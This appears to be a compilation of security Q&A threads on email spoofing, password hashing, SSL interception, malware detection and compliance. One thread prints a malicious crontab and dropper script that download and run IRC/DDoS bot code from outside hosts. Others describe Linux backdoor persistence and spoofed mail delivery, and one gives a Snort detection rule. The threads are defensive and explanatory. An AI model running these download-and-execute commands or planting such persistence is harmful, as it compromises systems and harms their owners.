How a spoofing email site such as emkei works I'm trying to understand how email spoofing works.
After studying the technical process, I have finally understood that:

The spoofer will try to scan every port of an SMTP server to catch the MX
Connect with telnet to the MX server
Send the SMTP packet changing the FROM and TO in the envelope

However, as it is explained in this post, it is not that easy. You have for example to look for an SMTP server that will not reject the telnet connection attempt considering that I don't even know how you can find the smtp servers (they must be protected from port scanning I guess). And there are other issues.

Therefore, I'm wondering how websites such as "emkei" can so easily propose to spoof an email.

Does it try all the SMTP server really fast?

Or does it host its own SMTP server that will relay the packet? In that case, if for example, it tries to send a mail from xxx@gmail.com, it will have to route it to a Gmail SMTP server, and this one could reject any Gmail address that does not come from another Gmail SMTP server. And if they used an Open-Relay server, the server would have been blacklisted, right?
I really don't see how it can work.

The spoofer will try to scan every ports of a smtp server to catch the mx

The MX is detected by doing a DNS lookup and the MTA is then using port 25 on the server(s) returned by this DNS lookup. No port scanning is involved.

  However, as it is explained in this post (Spoofing email From address), it is not that easy.

This post shows several ways, some easier and some harder. And it shows that the easiest way is to just find out the MX for the recipient domain (DNS lookup) and connect with your SMTP client (or telnet) to this domain - the same way as a SMTP MTA would do when delivering a non-spoofed mail to this domain. There might be problems if the acclaimed sender domain uses SPF or DKIM and the recipients SMTP server checks for this - but most domains still don't use such protection and many servers don't check for this.


DPAPI offline attack by cracking windows password? I'm thinking of using DPAPI to protect configuration file information in my program. After doing some reading on it, it looks like it uses the user's Windows password as part of the encryption process. Now, I've heard that there are tools (like Hieren's boot disk) that can crack Windows passwords "easily". Can DPAPI be counted on for any kind of security in the event that an attacker has physical access to the hard disk and the Windows password is decently complex? (Uppercase, lowercase, number, symbol 8+ length)

According to this book, the user password is expanded into an encryption key (for DPAPI) using the PBKDF1 key derivation function, configured to use SHA-1 with 4000 iterations by default. PBKDF1 is described in RFC 2898 (section 5.1). An attacker with a few big GPU could compute, perhaps, four billions SHA-1 per second, hence try about one million potential passwords per second. If your password has 8 random characters from an alphabet of size 64 (uppercase and lowercase letters, digits, and two symbols), then it has entropy 48 bits (because 648 = 248), and the attacker will need to try, on average, about 247 passwords before finding the right one. At one million passwords per second, this will take him about four years.

Beware that Windows has a habit of ignoring case in many places -- you should check whether uppercase and lowercase are indeed distinct as far as password verification is concerned.

(The book says "by default" which may imply that the "4000" parameter is configurable -- but I do not know how.)


Closed Port security I have what I think is a security IT question (I'm more of a programmer myself).

Assuming I am running a dedicated machine (say a PC) for a single program, meaning that the only port visible and open to the outside is the port this program is listening on.

Additional assumptions:

The program's code has no exploits, meaning no outside packet can cause the program to send information back or change anything on the machine's hard drive.
All communication to and from the machine are encrypted in PGP or AES+RSA in some other fashion, including all the supplementary conditions that are required by said algorithms (length of keys, padding scheme and whatnot).

What possibilities remain for an attacker to decrypt messages transmitted to and from the machine?

I add the single port and no exploits assumptions as I figure that given an ordinary PC runing some operating system with say 40 open ports this gives an attacker the option to infiltrate the machine via said ports and plant a keylogger or something similar.

The idea here is to create a maximal security two person chat system over open networks using for example a dedicated netbook over public wifi.

If:

all ports are closed except the one leading to your server software;
your server software is exploit-free;
the implementation, by the OS, of the TCP/IP mechanics is exploit-free;
the implementation, by the OS, of non-TCP network services (e.g. ICMP) is exploit-free;
there is no alternative network-controllable access to the machine (like IPMI or a network-based KVM), or, if there is, that access is devoid of any exploitable hole;
the cryptography is done properly, as per the standards, using standards for which no security issue is known or suspected, and without leaking information through side-channels;
whatever lies at the other end of the communication is similarly protected and exploit-free;
attackers are assumed to be able to eavesdrop on the network, and alter bytes at will, but not to achieve physical access to the involved machines or local networks, or to bypass the firewalls which enforce port-blocking;

then, indeed, attackers will not be able to obtain information on the exchanged data, save its existence, approximate size, and exact times at which the data chunks are sent back and forth (which can already be quite revealing; historically, it allowed the US military to predict the Japanese attack on Midway in June 1942). Attackers may still block data, duplicate messages or reroute them, and might possibly learn information through the reactions of the sender and receiver in such cases.

That's an awful lot of "if", though.


Backing up SSL certificate private key files What are some recommended practices for backing up SSL certificate private key files?  I'm working in an environment where the public web servers are not backed up, because in theory the public systems could be rebuilt from data on the internal systems-- which they mostly can except for the SSL certificate key file which is unique to each public system.

I could copy the web server private keys to the internal systems, but that provides a second place for an attacker to pick up the private key.

I could password encrypt the copy of the private key.... What do people generally do?

You have basically three options:

Backup the key with the rest of your server, and makes sure that the backups are handled as confidential data. Some backup solutions can automatically encrypt backups, which can help in solving issues (but take care that encryption does not magically solve problems; it just reduces confidentiality of data to confidentiality of the decryption key).

In your case you do not make backups of your servers, so this option does not really apply to you.
Backup the private key alone. Since private keys don't change often, you don't need to do a weekly backup; indeed, you can do that backup "manually". A private key is sensitive data, so some sort of protection is strongly advised. A customary archive format for private keys is PKCS#12, also known as "PFX" (or ".pfx file"). This format can embed the key and the certificate and some extra certificates (e.g. intermediate CA), and supports password-based encryption.

You'd better make a strong protection password (say, 20 random letters). You won't type that password often, so you will forget it; therefore, write down a copy of the password on some piece of paper, to be kept in a sealed envelope in a safe. The PFX file itself can be stored just anywhere (well, don't put it on your Facebook account, because it would look a bit careless; but if you have a strong password, then this will provide enough protection).

Windows supports PFX archives natively. Note that Windows will not allow the creation of a PFX archive if the private key was tagged, upon generation, with the "non exportable" flag. On Linux systems, use openssl (the command-line tool).
Don't backup the key at all. If your server burns down and must be created anew, just obtain a new certificate for your CA. SSL certificates are for authentication and encryption of data in transit, so there is no permanent data loss if the private key becomes unavailable. Some CA won't even bill you for issuing new "replacement" certificates (the kind of CA who makes you pay per server name and per year, not per certificate). In any case, the cost of a new certificate will be dwarfed by the cost of new hardware and, even more importantly, by the salary of the sysadmin who will have to reinstall the OS, software and Web site.

This solution is the simplest of all, and can be cost effective as well. However, it may entail a longer delay before resumption of normal activities, so you will prefer to do that for multi-frontend servers, where a missing frontend is annoying but not crippling for business, and thus recovery can be delayed by a few hours.

If your server uses a Hardware Security Module, the none of the above applies (except the possible "no-backup" strategy); instead, the private key will be backed up with the HSM-specific procedure.


By how much does the addition of a salt slow down a rainbow table attack? I understand that the addition of a salt provides some protection, because the attacker can no longer just look up the hash value in a rainbow table.  However, it is still feasible to write a cracking program that looks up the hash, and then applies the salt to it, since the salt itself is necessarily unencrypted.  Thus a salted password is still crackable, though cracking it will take longer.  My question is how much longer will it take?  Does the salt increase the time-complexity of cracking by a significant order of magnitude?  What are the respective time-complexities of cracking an unsalted hash and cracking a salted hash using the same lookup table?

Another, somewhat related, question: I read in Practical Unix and Internet Security that the Modular Crypt function used in some Unix systems does not XOR the salt with the hash, and just tacks it onto the beginning.  Doesn't this defeat the purpose of having a salt, since the unsalted hash can be trivially extracted from the password string and attacked as if the salt were not there in the first place?

If you want to built rainbow table for a list of salted passwords, you need to do so for each possible salt value. If the length of the salt is sufficient and if the salts are picked up correctly (i.e. never reused), then it pretty much makes rainbow tables useless.

Basically, if you have n bytes of salts, it increases the necessary operations and storage for building a set of rainbow tables by 2^n


How to explain "the k-anonymity model used by HaveIBeenPwned for pwned passwords doesn't expose your passwords" to a layman? People are naturally skeptical when they hear about the HaveIBeenPwned pwned passwords search, because who would in their right mind enter their password into a random website? And sure, HIBP uses k-anonymity to make sure they don't know your password, but if you're not familiar with how hashing algorithms work and how the k-anonymity model works, that just sounds like a bunch of technobabble from Doctor Who that you probably can't trust.
How can I best explain "the k-anonymity model as used by HIBP doesn't expose your passwords, so it is safe to enter your password on this site" to a layman?

You should not try to convince anyone that they should enter their password on haveibeenpwned.com, because the explanation would just be "Troy Hunt can be trusted!", and that's very hard to justify. Then somebody might start wondering: "Ok, since Troy Hunt can be trusted, who else can be trusted? Microsoft? Google? Zuckerberg? My bank? Wallmart? The guy from the repair shop, oh he's always so nice to me?". Also, even if Troy Hunt was the most honest person on earth, can't he make mistakes? Can't he be attacked, and his systems be compromised?
So I would suggest using the API, which doesn't require sending your password.
https://api.pwnedpasswords.com/range/{first 5 hash chars}

Then you need to explain to your layman friends that hash functions (or more precisely, secure hash functions) are not invertible unless you use brute force. So the point they have to understand is that secureHash('password') produces a random string, and by knowing one character of the string it isn't possible to predict the next one (or the previous one). They can compute the hash using tools present on their machines by default, like sha1sum or the equivalent for Microsoft (certUtil, maybe?). So by sending the first 5 characters of your hash to that API, they are not giving out much information about their password.
As for the email addresses, giving them to Troy Hunt or anybody else is not a big problem. A good spam filter will protect them from most threats anyway (and if they use Gmail or Hotmail/Microsoft they are already protected by a good spam filter). Their email address is probably already in some database of leaked data anyway, or it might end up there soon, unexpectedly, and there's no way for them to avoid it (because it depends on somebody else's security practices).
That said, if you want to convince a "layman", your mileage may vary. Most people only believe what they want to believe. Some might believe you, but that doesn't mean they truly have understood what you explained. Security is a complex subject.


Since when can't any program get MS-DOS and MS-Windows admin rights? I'm certain that I read that in the 80s with 8-bit Intel processorn, any DOS program that was run with MS-DOS was run in administrative mode and could do anything that any C program could do. Now I'm also fairly certain that this is no longer the case and I wonder if we can verify or answer these claims?

At the time of MS-DOS, or in the graphical derivatives (up to and including Windows ME), there was no notion of "administrative rights".

There are two distinct concepts here, that should be detailed. The first one is about what a process is allowed to do when it asks nicely. The second is what it can do if it is not nice at all.

In MS-DOS, each process grabs exclusive control of the machine and can do just about anything it wishes. It sees all the RAM, can talk to all the hardware, and so on. Also, there is no scheduler, so a process uses the CPU until it exits. It is possible to make a process linger around, but that is mostly reserving a bit of RAM and waiting to be given control through, usually, an hardware interrupt (mouse handlers worked that way).

With Windows 3.1 in "386 extended mode", and its derivatives Windows 95, 98 and Millenium (ME), several processes may run concurrently, and a piece of the operating system gives the CPU to one or the other, without asking them. This is called preemptive multitasking. Each process has its own memory space, and the MMU traps cases where one process is trying to access the memory of another. However, this is only for detecting bugs, not for security: all processes can still access the hardware directly, and read and write kernel memory. Thus, there is no notion of "administrative rights" that make sense in these OS, and they don't even try.

In the NT lineage, starting with NT 3.51 then NT 4, Windows 2000, XP and subsequent versions, there is actual memory protection and processes cannot escape their address space. They cannot talk to the hardware directly, and they cannot access memory beyond that which was explicitly allocated to them. This implies that when they need to do anything that exceeds the boundaries of their private address space, be it reading a file or displaying things on the screen, they must ask the OS. And the OS will comply, or not, depending on its own notion of access rights. Any process can thus have "administrator rights" or not; if it does not, then a number of operations will be rejected with an "access denied" error.

This applies to MS-DOS executables as well. Under the NT line of systems, MS-DOS executables work with a 16-bit addressing model, meaning that they "see" an address space of about one megabyte (1114096 bytes, precisely) in which the OS emulates an old MS-DOS version -- the process believes that it is alone in the machine; but when it accesses files by talking with that emulated MS-DOS, the calls are routed back to the normal (32-bit) kernel, which will decide whether to accept them or not, based on the access rights granted to the MS-DOS process, in particular whether it was run with admin rights or not.

Note that running 16-bit code in an otherwise 32-bit OS requires usage of the VM86 mode. This mode is not supported by modern x86 CPU when they run in 64-bit mode (also known as "long mode") so running 16-bit MS-DOS processes is not supported in 64-bit versions of Windows, unless you add an extra layer of CPU emulation such as DOSBox.

Summary: 16-bit executables do not have automatic admin rights in DOS/Windows. Old OS versions have no such notion; on Windows versions that support a concept of admin rights, a 16-bit executable will have such rights only if explicitly granted -- if it can run at all, which is no longer the case with 64-bit architectures.


Is there an equivalent of meterpreter's "run persistence" for Linux? As in the question - how can I install a persistent backdoor with Metasploit on a Linux target?

Any persistence modules for Linux would be found under than "Local" exploits here: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/local

Or in the Linux Post Modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/post/linux

Or in the Multi Post Modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/post/multi

I didn't see any that perform persistence, but like @d33tah said, usually persistence in Linux is simply editing the crontab to run something or installing SSH keys so that you can get back in. Or you can go the route of Kernel rootkits: http://www.securityfocus.com/tools/category/65


Could my family be receiving my messages I noticed every time my messenger sounds my sons notifications sound. Is this normal?

If it is an account based messenger app then it is likely your account was signed into on his phone at some point and not signed out of. "Is it normal?" is relative. If you have never signed into your account on his phone and he has never used your credentials to sign in then no that is not a standard operating model. However, changing your password is always a good idea and if it were me I would just take a look at his phone and make sure you are not signed into it.


Are security controls themselves considered assets (e.g., cryptographic keys) Looking at a plain system (there are no security controls implemented yet), we need to think about its functions and derive appropriate assets which we'd like to protect in order to ensure the system continues to function as intended (also making sure no intellectual property, private data, etc. are leaked).
My question is, do security measures themselves become assets once they are implemented? For example, we have a shared key to encrypt some data. This data is an asset with the property "confidentiality", to protect its confidentiality, we implement the security control encryption using said key.
The key in itself is not relevant to us, its just some random bits. Fundamentally, we still only care about the data being encrypted. However, the key is required to ensure the confidentiality of our data.
Does this in turn make the key itself an asset (we can argue that the key must remain confidential as well, since information disclosure of the key automatically results in information disclosure of our data).
Or would you argue that storing the key securely is simply part of the security control/measure in the first place, thus it doesn't make sense to make the key a new asset and continue with risk analysis for this new asset.
Another example, messages transmitted are digitally signed to ensure authenticity/integrity. Now I have somewhere a function/code which performs the verification, as well as cryptographic key material. Would the verification functionality and keys/certificates become new assets on their own, or is it considered part of the mitigation in the first place to correctly/securely handle these.
Curious about your opinions on this topic.
Thanks!

Conceptually speaking, no. An "asset" is a thing that has intrinsic value. Controls have no intrinsic value; they have extrinsic value. They have value in that they protect assets.
However, depending on your context and your scope, controls can be considered assets if they are deemed to have intrinsic value. If you are assessing a control environment, then yes, keys are an asset.
Whenever performing a risk assessment, you also need to keep your scope and context clear and not start folding the scope in on itself, else everything is an asset.


SSL certificate connection is verified by proxy.abc.com, is this secure? I am using chrome, and when I perform a google search I get the green icon in my browser.

When I click on the icon to see the certificate information, in the 'Connection' tab is says:

"The identity of this website has been verified by proxy.example.com..."

proxy.example.com - replace example with a company name

When viewing the actual certificate is says:

issued to: *.google.com
issued by: proxy.example.com

To me this seems like all traffic is not private anymore, rather the proxy is under control.  Is this correct?  i.e. it seems as though the connection is SSL and private, but really all traffic is being proxied to google, and the certificate is really just a private SSL issued internally by the company 'example'.

Is this a correct analysis?

This is a typical setup in companies and is called SSL interception, SSL visibility or something like this. The main idea is that there is nothing which prevents attacks using TLS connections, because TLS only secures the transport and neither the server nor you can make any assumptions about the security of the server or the risk associated with the exchanged data.

Thus to protect the systems against malware or to prevent data leakage you have to look into TLS connections too. The only  way to do this is to have some kind of proxy in the middle which intercepts and analysis the data.

Is this secure? It depends: Of course it breaks end-to-end encryption, but only to stop insecure or unwanted content. From the perspective of the company using this products it is definitely more secure to intercept SSL connections than to let data pass without analysis.


Malicious email containing PDF attachments I'm an university student and I have to do a data mining for a research project. For this reason I need emails containing malicious PDF attachments(I am interested in the .eml files). Where can I find a data corpus like this? Can you help me?
Thanks in advance.

I work at a University Security department. If you want up to date, out in the wild, evil PDF attachments try the CERT of your university (might be called SCIRT depending on where you live). We get them on a daily basis.

You could also try to get that sort of data from the anti-virus suppliers, managed Security Operation Centers (SOC).

You can always dive deep into the darkweb. :)

I am not aware of a up-to-date corpus containing these sort of attachments otherwise.


How do spammers crawl the web for mail addresses? I have recently started getting the occasional spam mail after not having this problem for several years. As far as I know spammers typically obtain mail addresses via data breaches or by crawling the web for mail addresses carelessly made public via forum posts etc. I don't think the former applies to me so I was wondering how to "reproduce" the latter, i.e. what methods, tools etc. I could use to find my mail address on the web beyond simply using a search engine such as Google.

There can be multiple sources:

big random e-mail databases generally available on black market
specific e-mail databases leaked/stolen from specific sites; those are also sold on the market
automated tools that phish addresses from web-sites; many site still have addresses in plain text which is a bad practice since it's a trivial matter to extract them
addresses shared between large companies for (theoretically) marketing or other similar purposes; that's why GDPR appeared

The last one in the list usually guarantees that you end up as spam target. It is sufficient to register on a few big shopping sites with low security and that's it; you'll start getting spam.


What are the risks of connecting via VNC to an untrusted host? There are questions about connecting to an untrusted host via SSH [1] [2], RDP, and with X11 forwarding enabled.

What about when connecting via VNC?  What risks are there to the client?

To be clear: the assumption is that the remote host is under the control of a malicious party and they are actively trying to gain access to your client PC or otherwise gain useful information.

There's a couple of potential risks which spring to mind.

Firstly if there's a vulnerability in the client software (e.g. a buffer overflow) by connecting to a malicious server it could be possible for the server to compromise the client machine via the VNC protocol.

Secondly, there's the obvious risk that the client machine is visible to the server (i.e. the server would know the IP address of the client machine) which may allow it to target the client for other attacks (whether these would succeed would of course depend on the configuration of the client).

The last risk that springs to mind is again kind of obvious which is that any data entered by the client into the VNC session on the server could be observed and modified, so for example by connecting to the malicious server and then using the browser on that server, things like website login credentials may be compromised.


snort rule to detect relay attempt not working I am trying to detect a relay attempt on smtp server, but nothing gets logs when I test it out. The snort rule to detect a relay attempt which I tried using is:

alert tcp $SMTP_SERVERS 25 -> any any (msg: "Possible relay attempt"; flow:to_client; content:"Relay access denied"; sid:1000007;)

Changing the checksum_mode to none in the snort.conf file (config checksum_mode: none) solves the problem and I can now see alerts for the relay rule in my log file.


Is SecureShellz bot a virus? How does it work? I'm using a development server in which I found this in the crontab:

[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]

http://stablehost.us/bots/regular.bot contents are:

#!/bin/sh

 if [ $(whoami) = "root" ]; then

    echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
    echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make

    pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc

    wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
    wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
    wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2
    exit 1
 fi

 wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
 wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
 wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him.

It seems to me this script downloads some remote C source codes and binaries, compile them and execute them.

I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server.

Can you give me more infos about what this code does? About its working, its purposes?

UPDATE: So we know, sadly, that it is a malware... I'm wondering: how does it work? can you give me details about this?

Send a mail to your sysadmin (you HAVE TO contact someone above you) or send it directly to the CIO, if you have to convince him, explain what you found and attach this part of the file named "a.c", that should suffice:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Here are a few references to this particular backdoor:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami-hits-os-x

I can't find any reverse engineering of this malware, sorry.


Free VPN and bank password security For some odd reason my online banking fails when on mobile data. It works fine on wifi. In times past I used nokia's Xpress browser to route it through their servers but it is no longer available for use.

My idea is to use one of the free VPN services out there to route my traffic through but I was wondering how secure is that? I know that there should be SSL involved but seeing as I am on mobile IE I am still kinda leery seeing as I dont know that i have an easy way to see any ssl certs involved.

The other option I have is to set my own personal vpn on a digital ocean VPS I have but that looks to be quite a bit more work.

Also seeing as I am on windows phone 8.1 I am limited to IKEv2 or L2TP with IPSec. Are there any free services I could use that support those and y'all could recommend? Or should I just go the hard route and set my own up?

Using VPN may secure the connection between your device and vpn server but its not enough. Not using vpn may be more secure than using a public one, you shouldn't trust a unknown machine.

Building your own VPN server on a droplet is something you can try. I'm using SoftEther VPN Server for that and I can suggest that to you. It has a nice GUI administrating panel for Windows, after installing it to a droplet you can use graphical interface to manage it simply. It also supports many protocols, nearly all of them! You can connect it via OpenVPN, L2TP with IPsec, SSTP etc. It also has its own client that supports ICMP & DNS hole punching and VPN over SSL that allows you to connect from vpn-restricted networks with high speed.

Digital Ocean Community has a tutorial for setup:
How to Setup a Multi-Protocol VPN Server Using SoftEther

By the way: If you use DigitalOcean to build your own VPN server, after everything is done you can take a snapshot of your droplet and destroy your droplet. Whenever you need some security, all you need to do is creating a droplet from existing snapshot, the snapshot that you took last time. IP address of server may change but the server will stay up and running. By doing this you only pay for hours that you actually use.


Do SSD's offer significant performance boost for Scrypt? Being a memory intensive hash, I was wondering if SSD's offer any appreciable performance boost for brute force attacks.

Nope because you run it in memory not from the hard drive.

The only form of hash cracking I know so far which  uses a hard drive, are table lookups like Rainbowtables. Even in that case the benefit of an SSD is limited since it's read in sequentially. SSDs are good for random reads and writes.


Multiple extension vulnerability. Is this malicious file triggered during form preview or after it has been uploaded? I'm looking at one of our compromised web server logs and we found that an attacker has uploaded a file with multiple extension. Below is the IIS log. The log format are as below. I have removed the cookies and user agent values as they are a bit long and irrelevant.

#Fields: date time cs-uri-stem cs-uri-query c-ip cs-version cs(User-Agent) cs(Cookie) cs(Referer) sc-status sc-substatus sc-bytes time-taken

One of line, we found this log

2012-03-09 02:49:16 /preview.asp path=./submit/file_20120222_ext_20120309_1049.asp;_20120309_1049.jpg&width=300|17|80040035|Not_a_JPEG_file:_starts_with_0x3c_0x25 xxx.xxx.xxx.xxx HTTP/1.1 - - http://xxx.xxx.xxx.xxx/mail.asp?err=2 500 0 471 203

then on the following line, we found the following log

2012-03-09 02:51:03 /submit/fle_20120222_ext_20120309_1049.asp;_20120309_1049.jpg - xxx.xxx.xxx.xxx - - - 403 1 1918 0

Does anyone have any idea if the malicious file is triggered in line 1 of the log or line 2 of the log?

This attack would require two requests,  one to upload the file and another to execute it.   It appears as though the 2nd request is attempting to execute the uploaded payload.  My guess is that the first request is generated by the normal function of your application and is likely not the request that uploaded the file.

In any case you should try replacing that uploaded file with a hello world and try replaying these requests from your log.  Also make sure to manually audit the code responsible for file uploads.


The client supports old ciphers, but the server not. Is it possible to exploit? There is a client which supports really old SSL ciphers, including

  TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014)
  TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011)
  TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008)
  TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x0006)
  TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003)

Probably it has a really old SSL library with known security bugs. But the server is up to date and properly configured. It it possible to exploit it? If yes - how?

Given how old these ciphers are I could imagine that the client also supports SSLv2 which is broken. Also it will probably accept certificates signed with MD5 or even MD4 or MD2 which are broken too so one should be able to create a faked certificate accepted by the client. That is if the client checks certificates at all because even a few years ago it was still very common that programs did not check the SSL certificate. Thus I think an active man in the middle attack should be possible.


Can someone obtain URL (or just domain name) by using IP destination address of a packet even when HTTPS is used When we sniffing with, lets say ettercap, we receive all packets from victim, and with that we can see Destination IP address from particular packet. So, can we obtain the domain name from that IP address, even when https is used, when we know that the IP addresses of the servers are publicly available and known?

So your question asks if a URL or Domain Name can be obtained. The actual URLs in the session will NOT be be visible to the person observing the traffic if HTTPS is used because the encrypted session is established before HTTP requests are made to the server. The Domain Name of the public IP address can be obtained by looking at the certificate used in the handshake. Also, it is sometimes possible to find/deduce the domain name by DNS, however multiple domain names can be assigned to one IP address, so just going off the IP address isn't always fruitful. There are services that use Passive DNS to keep track of domain names associated to IP addresses, so you may look into that as an option.

ALSO, if this is your corporate network and you want to monitor activity on your companies machines, you can install your own certificate into your workstations and decrypt the traffic in a secure segment of your network, then encrypt it again before it leaves your network. This will allow you to observer all URLS, content, etc even if HTTPS is used.


How to authenticate in a website with public/private keys? I've been reading how the SSH public/private key works and realized how handy they are (taking the secure out of the equation). And started to wonder why websites do not implement the same thing?

Let me explain why I am interested in this: When you register to a website, you don't know what happens with your password, it may very well be stored as plain text in a DB. Any admin can see your username/password combination (plus e-mail or any other information) and just try them in other services et voilà, clean access to your e-mail, Facebook, Stackoverflow, etc. The password, even if not stored, can be sent non-encrypted over the wire to the server and caugtht by a man in the middle. All this is easily solved using an approach like the one implemented by SSH, for instance (or having a different, password for every service, but my memory has severe limitations).

Therefore, how can I implement such a strategy for logging into a website? I couldn't find no browser extensions nor instructions on how to do it. For the time being, my objective is to have a website to serve ~10 people (colleagues, all in the same network) and whom I can convince to do some extra work (like installing an extension or generating the key pair).

Certificates can be used in that purpose. The general use of certificates is for TLS/SSL connections, but client certificates can be issued to handle two-way authentication. Certificates are basically public keys with an added layer of "trust networking".

If you want to do this properly, you should implement a PKI to handle certificate request, creation and revocation. But alternatively, you could just ask a user to upload any public key certificate they want to use.

Many recent browsers are also able to generate certificate request (private/public key) on the fly when connected to a website. Then the certificate are stored in the browser profile.


Are multiple encrypted containers with the same passphase containing the same files a cryptographic risk? Situation as follows:

Let's assume two (or more) containers, encrypted using the same passphrase.
They will contain the same files. So their content is identical.
However, the containers themselves aren't identical files - they're not duplicated, but individually created from scratch and then filled with content.
The attacker will have access to both (or more) encrypted container files.
The attacker will not know the content itself.
However, the attacker will know that the content is identical in each container.

Does this decrease overall cryptographic security of the container?

I feel like there is a vulnerability but I don't know how to search further.

(It's a general question, the container might be from dm-crypt/LUKS or VeraCrypt or even an encrypted ZIP archive.)

Most modern (symmetric and public key) encryption schemes are considered to have (at least) IND-CPA security. This is'indistinguishability under a chosen plaintext attack' and is defined by a cryptographic game.

In the game, after setting up the encryption scheme, the adversary chooses two plaintext messages (m0, m1) and leanrs the corresponding ciphertext of one of the randomly chosen messages mb (for some random b), the adversary is unable to distinguish which plaintext message the ciphertext corresponds to. The adversary can repeat this procedure multiple times: after receiving the ciphertext for one of their plaintexts, they can choose two more plaintext messages (m0' and m1') and receive the ciphertext of mb'. After receiving a computationally limited number of ciphertexts, the adversary must then guess the value of b. For the scheme to have IND-CPA secure, the probability of the adversary correctly guessing b must be no larger than 1/2.

This game applies to your setting as the adversary is not restricted to choose distinct messages during each request. Thus, even if m0 remains constant during each request, in a scheme which is IND-CPA secure, the adversary has no advantage in guessing b.

This is generally possible because encryption schemes add an element of randomness: most RSA padding inserts some randomness, and symmetric schemes use IVs (which must change for each identical plaintext encrypted under the same key- a point which may be worth noting in your scenario).


Can we share a folder across regions for PCI Users We need to be PCI compliant for a small setup.
We need to share a folder which should be accessible by other regions as well.

We have Private MPLS Connection.
PCI users will be having only READ access.
The File server will be in PCI ZONE.

Question is Can we share folder across regions?

Is it compliant with PCI?

No. The requirement for getting out-of-scope for the non-CDE enviroment is that its totally isolated in such a way that the non-CDE enviroment - if totally compromised, this should read as "totally taken over and owned by the attackers" - should not be able to compromise the CDE enviroment - not even reduce the security the smallest bit. (CDE enviroment = "PCI Zone" in your question)

The security risk you expose the CDE enviroment for by exposing a read-only fileserver to the CDE Enviroment that is writeable from the non-CDE enviroment is that the server can be infected with a virus that originates from the non-CDE enviroment, that a PCI user might access and cause havoc inside the CDE Enviroment.

A better way to accomplish this transfer of information, is to transfer the information in such a way that it can never be interpreted as executeable files. Think a one-way RS-232-channel from non-CDE to CDE, that is handled very restrictive in the CDE enviroment. Best way to accomplish this is to use a RS-232 to optical fiber at the non-CDE end, and then a optical fiber to RS-232 at the CDE end, and then you only connect the transmit port on non-CDE to the receive port on the CDE side.
You must ensure that regardless whatever is put into the non-CDE end of the RS-232 channel, the CDE enviroment may not be affected security-wise.

This means you need to configure the RS-232 receiver in such a way so the charset is limited so even if a user copies a file off the server that handles the RS-232 receiver and for example, Changes the file extension from .txt to .exe, the system must stay safe. This means very restrictive settings on the RS-232 receiver.


Heuristic evaluation in information security Heuristic evaluation term is mostly on usability domain, especially it refer to 10 usability heuristics from Jakob Nielsen. In information security domain, we have security principles from Saltzer and Schroeder, generally accepted system security principles from NIST 800-14, and so on. Are these security principles can be called as "heuristics" because they are general (Link)? And our activity that evaluate practices against these principles can be called as "heuristics evaluation"?

Based on this Link, heuristics can be have mnemonics. So, security mnemonics like CIA, STRIDE, and so on can be called as "heuristics"?

This is not typical terminology or practice in the security space. The terms one would look for are in the vein of "requirements" or "standards" or perhaps "principles" and evaluations against which can be called "gap analysis" and similar.

The difference in terminology matches a difference in the actual work. In security the work against those standards or requirements is mostly about activities in the execution domain, while in usability the work is more in the discovery domain.

Note also that the most secure system by definition is one that has zero usability; and to some extent security and usability are conflicting goals. The emerging practice of "usable security" is one in which heuristics for discovery of securer patterns have more of a role to play.


Is this a scam? If yes, how does it work? I found an email in my Gmail spam folder which has the Gmail trusted sender icon.  This seemed strange as I never saw this on spam, and it is making me uncomfortable.  I can't figure out what this message is, whether it is a scam, and if it is a scam, then how it might work.

The message is in Chinese (which I can't read), and appears to be a notification from Google that someone's (not mine) Gmail recovery email address has changed.

Does this mean that someone put in my email address as recovery email?  Why would they do that?

Here are screenshots of the email, a google translated version, as well as the original source.

Original message source (pastebin)

